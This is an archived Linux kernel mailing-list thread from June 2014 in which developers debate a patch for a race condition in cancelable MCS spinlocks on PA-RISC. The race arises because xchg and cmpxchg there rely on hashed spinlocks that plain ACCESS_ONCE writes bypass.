	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrBJA-0005u7-HS
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Jun 2014 21:20:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752210AbaFATUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Jun 2014 15:20:36 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:33396 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751507AbaFATUf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Jun 2014 15:20:35 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrBIz-0003uc-Ci; Sun, 01 Jun 2014 19:20:29 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id AC53510024C6F; Sun,  1 Jun 2014 21:20:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5814 gmane.linux.kernel:1715689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5814>

On Sun, Jun 01, 2014 at 01:53:11PM -0400, Mikulas Patocka wrote:
> PA-RISC doesn't have xchg or cmpxchg atomic instructions like other
> processors. It only has ldcw and ldcd instructions that load a word (or
> doubleword) from memory and atomically store zero at the same location.
> These instructions can only be used to implement spinlocks, direct
> implementation of other atomic operations is impossible.
> 
> Consequently, Linux xchg and cmpxchg functions are implemented in such a
> way that they hash the address, use the hash to index a spinlock, take the
> spinlock, perform the xchg or cmpxchg operation non-atomically and drop
> the spinlock.
> 
> If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> so, in this case, cmpxchg or xchg isn't really atomic at all.

And this is really the first place in the kernel that breaks like this?
I've been using xchg() and cmpxchg() without such consideration for
quite a while.

Doesn't sparc32 have similarly broken atomic ops?

Ideally, if we really want to preserve such broken-ness, we'd add some
debugging infrastructure to detect such nonsense.

> This patch fixes the bug by introducing a new type atomic_pointer_t 
> (backed by atomic_long_t) and replacing the offending pointer with it. 
> atomic_long_set takes the hashed spinlock, so it avoids the race 
> condition.

So I hate that twice, once since xchg() and cmpxchg() do not share the
atomic_ prefix, its inappropriate and misleading here, and secondly,
non of this is specific to pointers, xchg() and cmpxchg() take any
(naturally aligned) 'native' size type.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Sun, 1 Jun 2014 16:46:26 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401655617 14079 80.91.229.3 (1 Jun 2014 20:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2014 20:46:57 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 22:46:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrCeU-0007KL-Sy
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Jun 2014 22:46:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753461AbaFAUqq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Jun 2014 16:46:46 -0400
Original-Received: from blu004-omc2s3.hotmail.com ([65.55.111.78]:64441 "EHLO
	BLU004-OMC2S3.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752125AbaFAUqp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Jun 2014 16:46:45 -0400
Original-Received: from BLU0-SMTP38 ([65.55.111.73]) by BLU004-OMC2S3.hotmail.com with Microsoft SMTPSVC(7.5.7601.22701);
	 Sun, 1 Jun 2014 13:46:44 -0700
X-TMN: [jnN4dcytO/Xo1+OcO65wWdUWNvx3LTwk]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.84.123]) by BLU0-SMTP38.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Jun 2014 13:46:43 -0700
In-Reply-To: <20140601192026.GE16155@laptop.programming.kicks-ass.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Jun 2014 20:46:43.0749 (UTC) FILETIME=[98D54550:01CF7DDA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5815 gmane.linux.kernel:1715705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5815>

On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:

>> If you write to some variable with ACCESS_ONCE and use cmpxchg or  
>> xchg at
>> the same time, you break it. ACCESS_ONCE doesn't take the hashed  
>> spinlock,
>> so, in this case, cmpxchg or xchg isn't really atomic at all.
>
> And this is really the first place in the kernel that breaks like  
> this?
> I've been using xchg() and cmpxchg() without such consideration for
> quite a while.

I believe Mikulas is correct.  Even in a controlled situation where a  
cmpxchg operation
is used to implement pthread_spin_lock() in userspace, we found  
recently that the lock
must be released with a  cmpxchg operation and not a simple write on  
SMP systems.
There is a race in the cache operations or instruction ordering that's  
not present with
the ldcw instruction.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Sun, 1 Jun 2014 23:30:03 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20140601213003.GG16155@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401658260 8480 80.91.229.3 (1 Jun 2014 21:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2014 21:31:00 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 23:30:50 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrDKx-0008Mm-OJ
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Jun 2014 23:30:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752286AbaFAVai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Jun 2014 17:30:38 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53698 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751754AbaFAVai (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Jun 2014 17:30:38 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrDKQ-0007Vx-87; Sun, 01 Jun 2014 21:30:06 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 3060D10024C6F; Sun,  1 Jun 2014 23:30:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5816 gmane.linux.kernel:1715707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5816>

On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> 
> >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> >>at
> >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> >>spinlock,
> >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> >
> >And this is really the first place in the kernel that breaks like this?
> >I've been using xchg() and cmpxchg() without such consideration for
> >quite a while.
> 
> I believe Mikulas is correct.  Even in a controlled situation where a
> cmpxchg operation
> is used to implement pthread_spin_lock() in userspace, we found recently
> that the lock
> must be released with a  cmpxchg operation and not a simple write on SMP
> systems.
> There is a race in the cache operations or instruction ordering that's not
> present with
> the ldcw instruction.

Oh, I'm not arguing that. He's quite right that its broken, but this
form of atomic ops is also quite insane and unusual. Most sane machines
don't have this problem.

My main concern is how are we going to avoid breaking parisc (and I
think sparc32, which is similarly retarded) in the future; we should
invest in machinery to find and detect these things.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Sun, 1 Jun 2014 14:46:57 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20140601214657.GM22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
 <20140601213003.GG16155@laptop.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401659240 17703 80.91.229.3 (1 Jun 2014 21:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2014 21:47:20 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	Waiman.Long@hp.com, tglx@linutronix.de, riel@redhat.com,
	akpm@linux-foundation.org, davidlohr@hp.com, hpa@zytor.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 23:47:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrDau-0000Gv-0u
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Jun 2014 23:47:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752441AbaFAVrH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Jun 2014 17:47:07 -0400
Original-Received: from e34.co.us.ibm.com ([32.97.110.152]:55999 "EHLO
	e34.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752286AbaFAVrF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Jun 2014 17:47:05 -0400
Original-Received: from /spool/local
	by e34.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sun, 1 Jun 2014 15:47:05 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e34.co.us.ibm.com (192.168.1.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sun, 1 Jun 2014 15:47:03 -0600
Original-Received: from b03cxnp08027.gho.boulder.ibm.com (b03cxnp08027.gho.boulder.ibm.com [9.17.130.19])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 2F2E619D8041;
	Sun,  1 Jun 2014 15:46:55 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08027.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s51Lk5k78257832;
	Sun, 1 Jun 2014 23:46:05 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s51Lp0OV020873;
	Sun, 1 Jun 2014 15:51:02 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-76-41-117.mts.ibm.com [9.76.41.117])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s51Loxp5020853;
	Sun, 1 Jun 2014 15:51:00 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id F1A0A381957; Sun,  1 Jun 2014 14:46:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140601213003.GG16155@laptop.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060121-1542-0000-0000-0000023F00A7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5817 gmane.linux.kernel:1715713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5817>

On Sun, Jun 01, 2014 at 11:30:03PM +0200, Peter Zijlstra wrote:
> On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > 
> > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > >>at
> > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > >>spinlock,
> > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > >
> > >And this is really the first place in the kernel that breaks like this?
> > >I've been using xchg() and cmpxchg() without such consideration for
> > >quite a while.
> > 
> > I believe Mikulas is correct.  Even in a controlled situation where a
> > cmpxchg operation
> > is used to implement pthread_spin_lock() in userspace, we found recently
> > that the lock
> > must be released with a  cmpxchg operation and not a simple write on SMP
> > systems.
> > There is a race in the cache operations or instruction ordering that's not
> > present with
> > the ldcw instruction.
> 
> Oh, I'm not arguing that. He's quite right that its broken, but this
> form of atomic ops is also quite insane and unusual. Most sane machines
> don't have this problem.
> 
> My main concern is how are we going to avoid breaking parisc (and I
> think sparc32, which is similarly retarded) in the future; we should
> invest in machinery to find and detect these things.

I cannot see an easy way to fix this by making ACCESS_ONCE() arch-dependent.
But could the compiler help out by recognizing ACCESS_ONCE() and generating
the needed code for it on sparc and pa-risc?

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 05:19:39 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406020503000.17105@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl> <20140601213003.GG16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401700851 4008 80.91.229.3 (2 Jun 2014 09:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 09:20:51 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 11:20:41 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrOQ5-0006YM-8X
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 11:20:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753182AbaFBJUk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 05:20:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:40995 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753175AbaFBJUj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 05:20:39 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s529Jimr001049
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 2 Jun 2014 05:19:44 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s529JhO5018576
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 2 Jun 2014 05:19:43 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s529Jheh019745;
	Mon, 2 Jun 2014 05:19:43 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s529JdH9019740;
	Mon, 2 Jun 2014 05:19:41 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140601213003.GG16155@laptop.programming.kicks-ass.net>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5818 gmane.linux.kernel:1715888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5818>



On Sun, 1 Jun 2014, Peter Zijlstra wrote:

> On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > 
> > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > >>at
> > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > >>spinlock,
> > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > >
> > >And this is really the first place in the kernel that breaks like this?
> > >I've been using xchg() and cmpxchg() without such consideration for
> > >quite a while.
> > 
> > I believe Mikulas is correct.  Even in a controlled situation where a
> > cmpxchg operation
> > is used to implement pthread_spin_lock() in userspace, we found recently
> > that the lock
> > must be released with a  cmpxchg operation and not a simple write on SMP
> > systems.
> > There is a race in the cache operations or instruction ordering that's not
> > present with
> > the ldcw instruction.
> 
> Oh, I'm not arguing that. He's quite right that its broken, but this
> form of atomic ops is also quite insane and unusual. Most sane machines
> don't have this problem.
> 
> My main concern is how are we going to avoid breaking parisc (and I
> think sparc32, which is similarly retarded) in the future; we should
> invest in machinery to find and detect these things.

Grep the kernel for "\<xchg\>" and "\<cmpxchg\>" and replace them with 
atomic types and atomic access functions.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 06:34:03 -0400 (EDT)
Lines: 57
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406020622130.17105@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401705321 24844 80.91.229.3 (2 Jun 2014 10:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 10:35:21 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 12:35:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrPa5-0004dT-4F
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 12:35:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753094AbaFBKfE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 06:35:04 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:4213 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752784AbaFBKfD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 06:35:03 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52AY5St024040
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Mon, 2 Jun 2014 06:34:06 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s52AY5N8020322
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 2 Jun 2014 06:34:05 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52AY4Bl030033;
	Mon, 2 Jun 2014 06:34:04 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52AY3X9030029;
	Mon, 2 Jun 2014 06:34:03 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140601192026.GE16155@laptop.programming.kicks-ass.net>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5819 gmane.linux.kernel:1715946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5819>



On Sun, 1 Jun 2014, Peter Zijlstra wrote:

> On Sun, Jun 01, 2014 at 01:53:11PM -0400, Mikulas Patocka wrote:
> > PA-RISC doesn't have xchg or cmpxchg atomic instructions like other
> > processors. It only has ldcw and ldcd instructions that load a word (or
> > doubleword) from memory and atomically store zero at the same location.
